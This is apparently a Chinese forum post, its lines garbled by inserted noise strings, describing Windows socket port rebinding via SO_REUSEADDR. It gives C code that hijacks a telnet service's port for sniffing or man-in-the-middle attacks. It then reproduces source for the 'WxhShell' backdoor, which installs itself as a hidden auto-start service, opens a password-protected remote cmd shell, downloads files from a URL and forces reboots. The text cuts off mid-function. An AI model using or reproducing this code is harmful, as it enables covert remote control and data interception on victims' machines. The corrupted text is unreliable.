在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
1vdG\$ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
A45!hhf N v6=[_D saddr.sin_family = AF_INET;
qWD(rq+9 hGRHuJ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
d<[L^s9 a3L-q>h bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
3sp-0tUE B_*Ayk
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
3~?m?vj|Y n?"("Fiw 这意味着什么?意味着可以进行如下的攻击:
*t_Q5&3L+U pA6A*~QE 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
QW_BT^d" 49YN@PXC 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
?_ eHvw <GLn!~Px@5 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Z>pZ| Q 3/J@MC 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Y|buQQ| A=wG};%_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
)r?-_qj= F?t;bV 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
3Hi8=* 6FY.kN\
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
lIPz" EI496bsRHm #include
jZ''0Lclpc #include
/0Mt-8[ #include
yW&ka3j\ #include
[Y.=bfV! DWORD WINAPI ClientThread(LPVOID lpParam);
e'->S g int main()
GP;N1/= {
FH%M5RD WORD wVersionRequested;
}G<~Cx5[ DWORD ret;
"28zLo3 WSADATA wsaData;
w~yC^` BOOL val;
zbgGK7 SOCKADDR_IN saddr;
]E6r)C SOCKADDR_IN scaddr;
x"r,l/gzy int err;
=}YX I SOCKET s;
p(nEcu SOCKET sc;
y+KAL{AGK int caddsize;
uW2 q\ HANDLE mt;
#q W#>0U DWORD tid;
LqNyi wVersionRequested = MAKEWORD( 2, 2 );
'8[;
m_S err = WSAStartup( wVersionRequested, &wsaData );
Hg$7[um if ( err != 0 ) {
i[:cG printf("error!WSAStartup failed!\n");
BWNI|pq)v return -1;
`YqXF=- }
sPXjU5uq# saddr.sin_family = AF_INET;
J4@-?xj=\q LR';cR; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
7O:g;UI# 3_`)QYU' saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
M93*"jA saddr.sin_port = htons(23);
v\_\bT1 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,HI%ym {
XMdCQ= printf("error!socket failed!\n");
)@P*F)g~ return -1;
jw`05rw: }
BMdZd5!p& val = TRUE;
xaVn.&Wl //SO_REUSEADDR选项就是可以实现端口重绑定的
n oM=8C&U if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
[YZgQ {
~X3x-nAt printf("error!setsockopt failed!\n");
EB*C;ms return -1;
}2iR=$2 }
2dcvB]T! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
3zu6#3^ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
r7L.W //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
ch25A<O<R. &GkD5b if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
j--byk6PB {
841 y"@*BY ret=GetLastError();
GC' e printf("error!bind failed!\n");
kkWv#,qwU return -1;
AI|+*amTd }
9x|`XAB listen(s,2);
n:2._s T while(1)
bX,#z, {
:8hI3]9 caddsize = sizeof(scaddr);
G"OP`OMDc //接受连接请求
.xWaS8f sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
B+mxM/U[c if(sc!=INVALID_SOCKET)
p6K ~b {
Tjq1[Wq mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
yCav;ZS_ if(mt==NULL)
J?yasjjgP {
(RV#piM printf("Thread Creat Failed!\n");
i?;#ZNh break;
cv-rEHT }
[l3\0e6-/ }
=gD)j&~}_ CloseHandle(mt);
Fa[^D~$l* }
ZTV)D closesocket(s);
jH!;}q WSACleanup();
e15yDwvB return 0;
$!MP0f\q
g }
HI 1T DWORD WINAPI ClientThread(LPVOID lpParam)
wjwCs` {
6PYt>r&TO SOCKET ss = (SOCKET)lpParam;
J8p; 1-C" SOCKET sc;
[,,@>nyD unsigned char buf[4096];
{)l Zfj}l SOCKADDR_IN saddr;
m~AAO{\:b long num;
Nh }-6|M DWORD val;
el*|@#k} DWORD ret;
?Y3i-jY //如果是隐藏端口应用的话,可以在此处加一些判断
Ye&/O<G'V //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
x _>1x# saddr.sin_family = AF_INET;
PL{lYexJ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
SyVXXk 0 saddr.sin_port = htons(23);
9 da=q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[mu8V+8@d4 {
A;Y~Hu4KPZ printf("error!socket failed!\n");
~*/ >8R(Y return -1;
<b,WxR` }
:JG5)H}j+ val = 100;
0.x+ H9z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>~Zj {
fYy w2" ret = GetLastError();
"$farDDoF return -1;
hGY-d}npAJ }
/)J]ItJlz if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
W7WHDL^ {
\99'#]\_/E ret = GetLastError();
!7I07~&1 return -1;
"[~yu*
S }
4)tY6ds)r| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
aUZ?Ue9l>2 {
[;,E cw^ printf("error!socket connect failed!\n");
fVgK6?<8^ closesocket(sc);
}Y.YJXum closesocket(ss);
T90O.]S return -1;
*W\ 3cS }
qfl!>
while(1)
KJoa^e;~ {
hbJy<e1W //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
=t-Ud^3 //如果是嗅探内容的话,可以再此处进行内容分析和记录
!9
kNL //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
|OF3O,5z num = recv(ss,buf,4096,0);
#oTVfY# if(num>0)
g]L8Jli send(sc,buf,num,0);
}C_g;7* else if(num==0)
f\cTd/?Ju break;
1$03:ve1 num = recv(sc,buf,4096,0);
J' P:SC1 if(num>0)
k
6[ send(ss,buf,num,0);
eK1l~W% else if(num==0)
d^RcJ3w break;
HN NeH;L }
?
bWc<] closesocket(ss);
k8}fKVU; closesocket(sc);
ASoBa&vX return 0 ;
p1niS:}j }
e_ epuki j:1N&7<FU 02;'"EmP$ ==========================================================
YX,;z/Jw2 seK;TQ3/7 下边附上一个代码,,WXhSHELL
VdM Ksx`r u->[y1JY ==========================================================
V=+|]` ,)xtl`fc #include "stdafx.h"
liPrxuP` A]0R?N9wb_ #include <stdio.h>
H4
O"^#5 #include <string.h>
jbS@6 *_ #include <windows.h>
h/\Zq #include <winsock2.h>
OXM=@B<" #include <winsvc.h>
S;Sy.Lp #include <urlmon.h>
lH_pG ~ K\Q4u4DjbJ #pragma comment (lib, "Ws2_32.lib")
%1k"K~eu #pragma comment (lib, "urlmon.lib")
|;a$
l(~< t'$_3ml #define MAX_USER 100 // 最大客户端连接数
n-M6~ #define BUF_SOCK 200 // sock buffer
>qy62:co #define KEY_BUFF 255 // 输入 buffer
`$1A;wg< TxQsi"0c #define REBOOT 0 // 重启
SHPDbBS #define SHUTDOWN 1 // 关机
X1B)(|7$ H?r~% bh #define DEF_PORT 5000 // 监听端口
sYXLVJ>b ?E!M%c@, #define REG_LEN 16 // 注册表键长度
]#shuZ##>0 #define SVC_LEN 80 // NT服务名长度
\kyoA
Z 2<J2#}+\ // 从dll定义API
b)Nd}6}<? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
SbUac< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Mj>QV(L8t typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
e/g9r typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
k}g4? qmnl // wxhshell配置信息
aOinD struct WSCFG {
r\fkx> int ws_port; // 监听端口
$ZyOBxI char ws_passstr[REG_LEN]; // 口令
4Hf'/%kW int ws_autoins; // 安装标记, 1=yes 0=no
XLiwE$:t% char ws_regname[REG_LEN]; // 注册表键名
5#f_1
V char ws_svcname[REG_LEN]; // 服务名
fGeie m char ws_svcdisp[SVC_LEN]; // 服务显示名
s~(`~Y4 char ws_svcdesc[SVC_LEN]; // 服务描述信息
&k*oG:J3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
ImB5F'HI$ int ws_downexe; // 下载执行标记, 1=yes 0=no
)g8Kicox5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
$HOe){G char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Q$p3cepsK wGs'qL"z };
M*T!nwb EVqqOp1$v4 // default Wxhshell configuration
au=@]n#<( struct WSCFG wscfg={DEF_PORT,
W^HE1Dt] "xuhuanlingzhe",
6X'0 T} 1,
7fWZ/;p "Wxhshell",
Xajt][ "Wxhshell",
|ul{d| "WxhShell Service",
% mPv1$FH "Wrsky Windows CmdShell Service",
fA1{-JzV<4 "Please Input Your Password: ",
VPO~veQ 1,
PQ_A^ 95 "
http://www.wrsky.com/wxhshell.exe",
M7Xn=jc "Wxhshell.exe"
be-HF;lZe' };
@`B_Q v@ UT{`'#iT // 消息定义模块
w
`d9" n char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
dlZ2iDQ% char *msg_ws_prompt="\n\r? for help\n\r#>";
dhP")@3K;p char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
'?I3&lYz{ char *msg_ws_ext="\n\rExit.";
Lf<urIF char *msg_ws_end="\n\rQuit.";
s4f{ziLp char *msg_ws_boot="\n\rReboot...";
PpLhj char *msg_ws_poff="\n\rShutdown...";
hd/'>]
char *msg_ws_down="\n\rSave to ";
'.%Omc
+:aNgO#e8 char *msg_ws_err="\n\rErr!";
a)S6Z char *msg_ws_ok="\n\rOK!";
5sEk rT ' ep5`&g]3 char ExeFile[MAX_PATH];
\TzBu?,v8 int nUser = 0;
#:Q\ HANDLE handles[MAX_USER];
{QdoIPr3 int OsIsNt;
k`' *niz 7;.Iat9gMf SERVICE_STATUS serviceStatus;
g 6?y{(1 SERVICE_STATUS_HANDLE hServiceStatusHandle;
fWIWRsy% lOb(XH9 // 函数声明
-+2A@kmEJ int Install(void);
4%<wxrod int Uninstall(void);
G[`2Nd< int DownloadFile(char *sURL, SOCKET wsh);
inq
{" 6 int Boot(int flag);
eq"Xwq* void HideProc(void);
NTK9`#SA int GetOsVer(void);
=%I;Y& K int Wxhshell(SOCKET wsl);
-#4QY70H t void TalkWithClient(void *cs);
3
Sf':N`u int CmdShell(SOCKET sock);
%<O~eXY int StartFromService(void);
O\=Zo9(NHF int StartWxhshell(LPSTR lpCmdLine);
1x##b[LC C^_m>H3b VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
(*vBpJyz% VOID WINAPI NTServiceHandler( DWORD fdwControl );
plr3&T~,&S b
ettOg // 数据结构和表定义
&N/dxKZcc SERVICE_TABLE_ENTRY DispatchTable[] =
Xyz/CZPi {
Zv
mkb%8 {wscfg.ws_svcname, NTServiceMain},
iW9 {NULL, NULL}
5TeGdfu @ };
rkdA4'66w ;1_3E2E$ // 自我安装
t1yfSStp int Install(void)
|{,c2Ck:N {
ZifDU@J$t char svExeFile[MAX_PATH];
\fvm6$ rZ^ HKEY key;
^rY18?XC+: strcpy(svExeFile,ExeFile);
OYmutq ]70ZerQ~L // 如果是win9x系统,修改注册表设为自启动
&VCg`r-{~ if(!OsIsNt) {
EKQ>hww8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)@tHS-Jf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
-~_|ZnuM9 RegCloseKey(key);
Ut/%+r"s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
r1=j$G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
b8%TwYp RegCloseKey(key);
{od@Sl return 0;
&(p5z4Df }
pnL[FMc }
hc9ON&L\> }
jWvi%Iqi else {
O^ &m N<Ym&$xR // 如果是NT以上系统,安装为系统服务
L0{[L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
nLANWQk9 if (schSCManager!=0)
w|0:0Rc~u {
/Q89 y[ SC_HANDLE schService = CreateService
QTN24 q4 (
[P }mDX schSCManager,
7&]|c?([4 wscfg.ws_svcname,
S
{+Z.P wscfg.ws_svcdisp,
v<(+ l)Ln SERVICE_ALL_ACCESS,
$|[N3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
k#/cdK!K SERVICE_AUTO_START,
#2Vq"Zn SERVICE_ERROR_NORMAL,
])?h~
svExeFile,
w~=xO_% NULL,
GlC (uhCpV NULL,
*L Y6hph" NULL,
7j#Ix$Ur NULL,
bkpN`+c NULL
!4Sd ^" );
zITxJx if (schService!=0)
i]@k'2N {
NweGK CloseServiceHandle(schService);
im)r4={
9 CloseServiceHandle(schSCManager);
(WY9EJ<s, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
v:w^$]4 strcat(svExeFile,wscfg.ws_svcname);
/3sX>Rj if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
'0o^T 7C RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
t0/Ol'kgs RegCloseKey(key);
*]Cyc< return 0;
Rz&}e@stl }
-Oz! GX }
>'WTVj ` CloseServiceHandle(schSCManager);
xwHE,ykE }
WyM2h }
ZnuRy: d6??OO=~>M return 1;
A9J{>f
}
]F;1 l3I- z_A\\ // 自我卸载
v:9'k~4) int Uninstall(void)
,C_MB1u {
,K30.E HKEY key;
w?M"`O( &5B/>ag1! if(!OsIsNt) {
qwn EVjf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
p u?COA RegDeleteValue(key,wscfg.ws_regname);
}w>UNGUMh RegCloseKey(key);
0=40}n&` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
pbwOma2 RegDeleteValue(key,wscfg.ws_regname);
Imclz4'8 RegCloseKey(key);
&h7
n>q return 0;
JP^x]t: }
$GhL-sqm }
5'w&M{{9 }
O CCC' k else {
+t
Prqv"( vD/l`Ib: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
c]$$ap if (schSCManager!=0)
J{XRltI+ {
'L{pS-+6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Ri::Ek3qu if (schService!=0)
OI6m>XH? {
t!B,%,Dp if(DeleteService(schService)!=0) {
^\\9B-MvY CloseServiceHandle(schService);
=`CK`x CloseServiceHandle(schSCManager);
Yg 2P( return 0;
K_.|FEV }
X_Pbbx_j CloseServiceHandle(schService);
z-sq9Qp&x }
D+q z` CloseServiceHandle(schSCManager);
Z^WI~B0nt }
CkV -L4Jq }
iex]J@=e 2$o\`^dy return 1;
I9#l2<DYlX }
Q?`s4P)14o muFWFq&yP // 从指定url下载文件
>Af0S;S int DownloadFile(char *sURL, SOCKET wsh)
OKu~Nb* {
Z\n^m^Z
= HRESULT hr;
EF9Y=(0| char seps[]= "/";
|;p.!FO char *token;
4gmlK,a char *file;
g2u\gR5 char myURL[MAX_PATH];
i;IhsKO0R char myFILE[MAX_PATH];
Nm%#rZrN~Q Uw3wR!: strcpy(myURL,sURL);
/pLf?m9 token=strtok(myURL,seps);
oBo |eRIt| while(token!=NULL)
x7jFYC {
%ca` v;]. file=token;
6J$I8b#/ token=strtok(NULL,seps);
_?I*::
I }
34_
V&8 <R_)[{ 7 GetCurrentDirectory(MAX_PATH,myFILE);
"%_T7A ![ strcat(myFILE, "\\");
<w?k<%( 4 strcat(myFILE, file);
2l:cP2fa send(wsh,myFILE,strlen(myFILE),0);
6UqDpL7^U send(wsh,"...",3,0);
13Q87i5B hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
RfCu5Kn if(hr==S_OK)
p^ OHLT return 0;
N'pYz0_H else
+4[9Eb'k= return 1;
]-;JHB5A_: zq3f@xOK }
'jye* "Rtt~["% // 系统电源模块
[.CP,Ly int Boot(int flag)
l$R9c+L= {
3&+nV1 HANDLE hToken;
#|=lU4Bf TOKEN_PRIVILEGES tkp;
'Ddzlip hyhm{RC?[ if(OsIsNt) {
~Ra8(KocD OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
:wUi&xw LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
8 ~Pdr]5 tkp.PrivilegeCount = 1;
2{oQ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
GsiKL4|mj AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
B9c
gVTLj if(flag==REBOOT) {
i]qxF&1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
/o}i,i$ return 0;
}` <DKO/ }
kcMg`pJ4< else {
dqFp"Xe"% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
4 DV,f2:R4 return 0;
RfT)dS+rAh }
y!q`o$nK }
GSfU*@L3 else {
=gZA9@]W2 if(flag==REBOOT) {
$gL^\(_3H if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
MfdkvJ' return 0;
u?'J1\z }
{7_C|z:'p& else {
b"OH Xu if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
5%@~"YCo return 0;
+NeoGnj }
{*<%6? }
:H:+XIgoR Q6N?cQtOT return 1;
]c6h'} }
/R>YDout} 53^3..E| // win9x进程隐藏模块
9eR";Wm]) void HideProc(void)
ZQ-6n1O {
n{M-t@r7 [EK^0g HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
iDltN]zS if ( hKernel != NULL )
i8f +woZL {
^)a j,U[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
E*s _Y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
RRl`;w? FreeLibrary(hKernel);
DUg[L }
u}rJqZ w U1[/ return;
c}H}fyu%n }
#Kx @:I K1&t>2=% // 获取操作系统版本
o'Y/0hkh int GetOsVer(void)
Q9;VSF) {
m9\~dD OSVERSIONINFO winfo;
D<WGau2H winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
abS3hf GetVersionEx(&winfo);
]K%d if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
['3E'q,4& return 1;
xmfZ5nVL else
(CAkzgTfc return 0;
~aXJ5sY"f& }
mXyg\5 43~v1pf{! // 客户端句柄模块
AOz~@i^ int Wxhshell(SOCKET wsl)
~4xn^.w {
5XuQQ!` SOCKET wsh;
EiyHZ struct sockaddr_in client;
6}Rb-\N DWORD myID;
2Zg%4/u,Zp ~B7<Yg while(nUser<MAX_USER)
#/\Zo &V8 {
[jGE{<Je int nSize=sizeof(client);
"I @akM$x wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
-KZ9TV # R if(wsh==INVALID_SOCKET) return 1;
;wZplVB7y :b!&Xw$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
9%m^^OOf if(handles[nUser]==0)
:'[ha$ closesocket(wsh);
gJg+
]-h/ else
\tP*Pz nUser++;
NceK>::56 }
AKS. XW WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
|:SIyXGbY ^S)t;t@x return 0;
7ZUS }
m\_v{1g ' t^ r2N/ // 关闭 socket
E5a7p. void CloseIt(SOCKET wsh)
aY DM)b} {
O(:/&`) closesocket(wsh);
r[#*..Y nUser--;
):n'B` f}z ExitThread(0);
Pjq()\/[Z }
ke)<E98DC N{6-a // 客户端请求句柄
:W+%jn void TalkWithClient(void *cs)
|EY1$qItid {
cs[nFfM $8Z4jo SOCKET wsh=(SOCKET)cs;
U}l=1B char pwd[SVC_LEN];
Cn_r?1{W char cmd[KEY_BUFF];
8:Dkf v char chr[1];
r&~]6
U int i,j;
(^]3l%Ed X9C:AGbp while (nUser < MAX_USER) {
Bp4#"y2 QoMa+QTuc if(wscfg.ws_passstr) {
TxTxyYd if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
F3x*dq2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
[]?*}o5&>T //ZeroMemory(pwd,KEY_BUFF);
Dw,LB>Eq, i=0;
MFipXE! while(i<SVC_LEN) {
mt[ #=Yba .Vs|&c2im // 设置超时
X G5"u fd_set FdRead;
yvnvI y struct timeval TimeOut;
#fXy4iL l FD_ZERO(&FdRead);
j|b$b,rF\ FD_SET(wsh,&FdRead);
:j`XU TimeOut.tv_sec=8;
j_b/66JyN TimeOut.tv_usec=0;
; NO#/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
R?J8#JPXD if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
QHtN_Q_F fr8';Jm if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
OfeM;) pwd
=chr[0]; rY$wC%
if(chr[0]==0xd || chr[0]==0xa) { ^GiWU +`
pwd=0; V h5\'Sn
break; >VG*La'c
} _6]tbni?v
i++; Mv:\T%]
} `*i:z'
8rNf4]5@X(
// 如果是非法用户,关闭 socket -.Zy(
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y-Lm^GW4
} J?jxD/9Yb
Iomx"y]9
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oMNBK/X_
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {<cgeH
KSUhB
while(1) { DP!8c
J@rBrKC
ZeroMemory(cmd,KEY_BUFF); Ki /j\
JQW7y!Z
// 自动支持客户端 telnet标准 D"{%[;J
j=0; V0_^==Vs
while(j<KEY_BUFF) { d^"|ESQEU
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NYR:dH]N~d
cmd[j]=chr[0]; B.);Ju
if(chr[0]==0xa || chr[0]==0xd) { g$z6*bL
cmd[j]=0; =n;LP#(h ?
break; p#>,{
} V! .I>
j++; H<qz
rO
} tNAmA
>B.KI}dE
// 下载文件 uY3?(f#
if(strstr(cmd,"http://")) { nr&9\lG]G
send(wsh,msg_ws_down,strlen(msg_ws_down),0); W^eQ}A+Z
if(DownloadFile(cmd,wsh)) UAC"jy1D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I1p{(fJ
else raM{!T:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UUvR>5@n
} k7 Ne(4P
else { 6hHMxS^o
^vI`#}?
switch(cmd[0]) { O1oh,~W
t*-_MG
// 帮助 5K=>x<
case '?': { #zc$cr
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]hbrzvo
break; &b]_#c
} o%$R`;
// 安装 p`'3Il3
case 'i': { )0=H)k0
if(Install()) ]zI*}(adu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;NGSJfn
else ~^o YPd52*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m;vm7]5
break; l_ LH!Tu
} ZtpbKy!\$B
// 卸载 "}0)~,{xB
case 'r': { !z5Ozm+}
if(Uninstall()) -R`nitf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y{8}z
ZD
else $$'[%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FyV $`c$
break; GvL\%0Ibx
} ] B>.}
// 显示 wxhshell 所在路径 ~hT(uxU/
case 'p': { 4v`;D,dIu
char svExeFile[MAX_PATH]; )\{]4[9N
strcpy(svExeFile,"\n\r"); U \F ?{/
strcat(svExeFile,ExeFile); ayLINpL
send(wsh,svExeFile,strlen(svExeFile),0); }50s\H._C
break; cY|@s?3NND
} z
AY
-Y
// 重启 ^fbzlu?G4-
case 'b': { 6Zv-kG
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e`?o`@vO,
if(Boot(REBOOT)) {G=|fgz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?%b#FXA
else { +rKV*XX@
closesocket(wsh); zOis}$GR
ExitThread(0); Z
jXn,W]~
} 35fj-J$8
break; Na+3aM%%
} Qgq VbJP"
// 关机 |sAl k,8s
case 'd': { !@FzP@
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QPB^%8
if(Boot(SHUTDOWN)) V :lKF')
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3.Jk-:u %m
else { IG!(q%Gf
closesocket(wsh); AzSmfEaU0
ExitThread(0); tjcsT>
} 4^ZbT
break; +_ $!9m
} H9[0-Ur5
// 获取shell w|-m*v
.
case 's': { 4@Bl 1b[<
CmdShell(wsh); 26=G%F6
closesocket(wsh); } ;d=
ExitThread(0); Z 3-=TN
break; |zy` ]p9
} +]e) :J
// 退出 caL\ d
case 'x': { $]J<^{v
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s=<65
CloseIt(wsh); a@C}0IP)
break; CZkmd
} QH k jxj
// 离开 Yd<9Y\W%?
case 'q': { ~8)l/I=`);
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9e;:(jl^
closesocket(wsh); pR!m
WSACleanup(); j$P`/-N
exit(1); 4UMOC_
break; N^'(`"J s
} @={
qy}
} pwA~?$B1
} =TA8]7S~U
7LiyA<
// 提示信息 bj@f<f`
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /wi/i*;A
} &_'3(xIO
} ~e686L0j
JHJ]BMm
return; 3.h0
} m ~gc c
?BU?c:"f
// shell模块句柄 oKPG0iM:
int CmdShell(SOCKET sock) @u:q#b
{ &pHXSU
STARTUPINFO si; 6|1*gl1_LD
ZeroMemory(&si,sizeof(si)); 4p>,
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -v9x tNg
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H?;@r1ZAn
PROCESS_INFORMATION ProcessInfo; .RWq!Z=)3
char cmdline[]="cmd"; _D8:p>=
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _TbvQY
return 0; RG_6&
A
} }5}#QHF
WdbHT|.Aj
// 自身启动模式 [f]:hJi
int StartFromService(void) !j9(%,PR
{ PVrNS7 Rk/
typedef struct q,=YKw)*
{ /mK]O7O7
DWORD ExitStatus; -`PLewvX
DWORD PebBaseAddress; MTn}]blH
DWORD AffinityMask; C-H6l6,
DWORD BasePriority; eyos6Qi
